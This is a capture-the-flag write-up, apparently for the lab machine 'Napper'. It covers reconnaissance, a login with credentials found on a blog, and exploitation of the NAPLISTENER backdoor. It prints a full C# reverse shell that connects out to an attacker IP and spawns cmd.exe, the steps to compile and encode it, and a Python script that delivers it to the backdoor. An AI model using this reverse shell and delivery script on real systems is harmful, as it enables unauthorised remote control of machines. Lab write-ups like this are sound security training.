This box starts off with a hugo blog about reverse engineering.
Reconnaissance
The nmap
doesn’t result doesn’t provide any interesting results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ nmap -sC -sV -oN nmap_result 10.10.11.240
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-15 15:17 CET
Nmap scan report for 10.10.11.240
Host is up (0.024s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://app.napper.htb
|_http-server-header: Microsoft-IIS/10.0
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-generator: Hugo 0.112.3
| http-methods:
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after: 2033-06-04T14:58:55
|_http-title: Research Blog | Home
|_http-server-header: Microsoft-IIS/10.0
| tls-alpn:
|_ http/1.1
|_ssl-date: 2023-11-15T14:18:01+00:00; +2s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.68 seconds
While browsing on the blog, we noticed some hardcoded credentials in one of the posts which could be interesting later on.
A subdomain scan with gobuster
, does reveal an “internal” subdomain, with arguments:
--append-domain
: Append main domain from URL to words from wordlist. Otherwise the fully qualified domains need to be specified in the wordlist.-k
: Skip TLS certificate verification
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ gobuster vhost -w ~/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u https://napper.htb/ --append-domain -k
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://napper.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/kali/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/11/15 15:26:01 Starting gobuster in VHOST enumeration mode
===============================================================
Found: internal.napper.htb Status: 401 [Size: 1293]
Progress: 4952 / 4990 (99.24%)
===============================================================
2023/11/15 15:26:19 Finished
===============================================================
Foothold
We can use the found credentials to log into the internal blog.
We can see one blog post containing “malware research notes”. The blog post is about a C# malware called “NAPLISTENER”.
In the blog post, the writer explains that the backdoor is up and running in their sandbox.
1
2
3
4
5
6
7
8
9
10
11
12
13
# Log
- 2023-04-24: Did some more reading up. We need to look for some URL and a special parameter
- 2023-04-23: Starting the RE process. Not sure on how to approach.
- 2023-04-22: Nothing seems to be showing up in the sandbox, i just startes and stops again. Will be testing local
- 2023-04-22: Got the copy of the backdoor, running in sandbox
# References
- https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph
- https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener
- https://www.darkreading.com/threat-intelligence/custom-naplistener-malware-network-based-detection-sleep
By going through the references, we can find a proof-of-concept script that will allow us to access that backdoor.
The sandbox seems to respond to a curl
request which does the request of the proof-of-concept.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ curl -k -v --request POST -d "sdafwe3rwe23=exploit" https://napper.htb/ews/MsExgHealthCheckd/
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.240:443...
* Connected to napper.htb (10.10.11.240) port 443 (#0)
* using HTTP/2
* h2h3 [:method: POST]
* h2h3 [:path: /ews/MsExgHealthCheckd/]
* h2h3 [:scheme: https]
* h2h3 [:authority: napper.htb]
* h2h3 [user-agent: curl/7.88.1]
* h2h3 [accept: */*]
* h2h3 [content-length: 20]
* h2h3 [content-type: application/x-www-form-urlencoded]
* Using Stream ID: 1 (easy handle 0x55572b68da40)
> POST /ews/MsExgHealthCheckd/ HTTP/2
> Host: napper.htb
> user-agent: curl/7.88.1
> accept: */*
> content-length: 20
> content-type: application/x-www-form-urlencoded
>
* We are completely uploaded and fine
< HTTP/2 200
< content-length: 0
< content-type: text/html; charset=utf-8
< server: Microsoft-IIS/10.0 Microsoft-HTTPAPI/2.0
< x-powered-by: ASP.NET
< date: Wed, 15 Nov 2023 14:31:51 GMT
<
* Connection #0 to host napper.htb left intact
We can now try to upload a reverse shell.
We need to create a C# reverse shell, compile it with msc
and base64 encode it to send it through the proof-of-concept mentioned above.
1. C# Reverse Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
using System;
using System.Diagnostics;
using System.IO;
using System.Net.Sockets;
using System.Text;
namespace MessageBox
{
internal class Program
{
static StreamWriter streamWriter;
public static void BackConnect(string ip, int port)
{
using (TcpClient client = new TcpClient(ip, port))
{
using (Stream stream = client.GetStream())
{
using (StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while (true)
{
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!string.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception) { }
}
}
static void Main()
{
new Run();
}
}
public class Run
{
public Run()
{
Program.BackConnect("10.10.14.87", 1234);
}
}
}
2. Compile .cs to a binary
We can compile the messagebox.cs
file to a binary called messagebox.exe
. One thing to note is that the namespace needs to match the filename and that we include a Run
class. We then encode that binary and send it to our clipboard as it is a huge blob of encoded data.
1
2
$ mcs messagebox.cs
$ cat messagebox.exe | base64 -w 0| xclip -sel clip
Proof-of-Concept script
We can now insert our blob of encoded data from our clipboard in the payload
variable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
hosts = ["napper.htb"]
payload = "BASE64_OF_BINARY_HERE"
form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"
for h in hosts:
url_ssl= f"https://{h}/ews/MsExgHealthCheckd/"
try:
status_code = 0
while status_code != 200:
r_ssl = requests.post(url_ssl, data=form_field, verify=False, auth=("example", "ExamplePassword"))
print(f"{url_ssl} : {r_ssl.status_code} {r_ssl.headers}")
print(f"{r_ssl.request.data}")
status_code = r_ssl.status_code
time.sleep(1)
except KeyboardInterrupt:
exit()
except Exception as e:
print("e")
pass
When we execute the script, we get a connection on our listener.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ python3 exploit.py
https://napper.htb/ews/MsExgHealthCheckd/ : 200 {'Content-Length': '0', 'Content-Type': 'text/html; charset=utf-8', 'Server': 'Microsoft-IIS/10.0 Microsoft-HTTPAPI/2.0', 'X-Powered-By': 'ASP.NET', 'Date': 'Wed, 15 Nov 2023 15:15:17 GMT'}
$ nc -lvnp 1234
...
C:\Users\ruben\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is CB08-11BF
Directory of C:\Users\ruben\Desktop
11/15/2023 07:06 AM <DIR> .
11/15/2023 07:06 AM <DIR> ..
06/07/2023 06:02 AM 2,352 Microsoft Edge.lnk
11/15/2023 07:06 AM 94,879 runascs.exe
11/15/2023 05:50 AM 34 user.txt
3 File(s) 97,265 bytes
2 Dir(s) 3,319,488,512 bytes free
type user.txt
C:\Users\ruben\Desktop>type user.txt
a296**REDACTED**4c51